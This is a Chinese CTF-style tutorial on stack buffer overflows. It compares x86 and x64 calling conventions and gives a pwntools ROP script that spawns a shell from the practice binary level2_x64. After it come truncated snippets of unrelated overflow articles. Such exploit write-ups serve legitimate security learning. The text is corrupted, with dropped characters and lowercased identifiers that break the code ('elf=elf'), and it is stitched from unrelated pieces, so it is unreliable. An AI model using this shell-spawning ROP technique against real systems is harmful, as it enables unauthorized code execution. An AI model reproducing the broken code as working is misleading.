pwn之棧沖區溢位漏洞X64與X86

2022-06-05 11:30:16 字數 1602 閱讀 6184

x86與x64函式呼叫的區別

x86x86中函式傳參是再棧中直接存放,需要時的時候出棧即可。

而再x64程式中。函式的引數在call的時候會進入rdi 、 rsi 、rdx 、rcx 、r8 、r9

當傳輸引數超過6個的時候就會壓入棧中。

如下示意圖

read(stdin,buf,0xa) call 壓入 main ret read函式壓入 prev rbp

在x86中,函式利用棧進行引數傳遞

x64前6個引數使用暫存器分別傳遞, rdi 、 rsi 、rdx 、rcx 、r8 、r9 之後的資料使用棧傳遞

棧結構

構造方式: pop_rdi_ret + addr_/bin/sh

使用命令 ropgadget --binary level2_x64 --only "pop|ret" 可以進行查詢可用位址。

例子題目分析

存在/bin/sh 那就很方便

確認安全資訊

由上面的資訊可以確定,攻擊鏈的方式應該為

pop_rdi_ret + /bin/sh + system_addr 的方式進行攻擊。

其中 system 在主函式中存在

所以也可以直接使用位址即可。

溢位地點

溢位點在read函式處, buf 的可用高度為0x80 讀入長度為0x200

確定ret_rdi_ret位址

找到乙個位址 0x4006b3

那麼payload 如下

from pwn import *

io=process("./level2_x64")

elf=elf("./level2_x64")

system_addr=0x40063e

bin_sh_addr=next(elf.search(b"/bin/sh"))

pop_rdi_ret_addr=0x4006b3

print(system_addr)

payload=cyclic(0x88)+p64(pop_rdi_ret_addr)+p64(bin_sh_addr)+p64(system_addr)

io.sendline(payload)

io.interactive()

沖區溢位攻擊原理

緩衝區溢位是一種在各種作業系統 應用軟體中廣泛存在普遍且危險的漏洞,利用緩衝區溢位攻擊可以導致程式執行失敗 系統崩潰等後果。更為嚴重的是,可以利用它執行非授權指令,甚至可以取得系統特權,進而進行各種非法操作。第乙個緩衝區溢位攻擊 morris蠕蟲,發生在十年前,它曾造成了全世界6000多台網路伺服器...

檔案上傳漏洞 棧溢位漏洞

棧溢位是緩衝區溢位的一種,分配的記憶體空間是有限的,如果輸入超長的字串必然會導致溢位。緩衝區溢位中最危險的是堆疊溢位,因為入侵者可以利用堆疊溢位,在函式返回時改變返回程式的位址,讓其跳轉到任意位址,帶來的危害一種是程式崩潰導致拒絕服務,另外一種就是跳轉並且執行一段惡意 比如得到系統許可權。先看一段 ...

緩衝區溢位 棧溢位

1 緩衝區概念 緩衝區 buffer 又稱為快取,它是記憶體空間的一部分。也就是說,在記憶體空間中預留了一定的儲存空間,這些儲存空間用來緩衝輸入或輸出的資料,這部分預留的空間就叫做緩衝區。使用緩衝區有兩個好處 1 減少實際物理讀寫次數 2 緩衝區在建立時就被分配記憶體,這塊記憶體區域一直被重用,可以...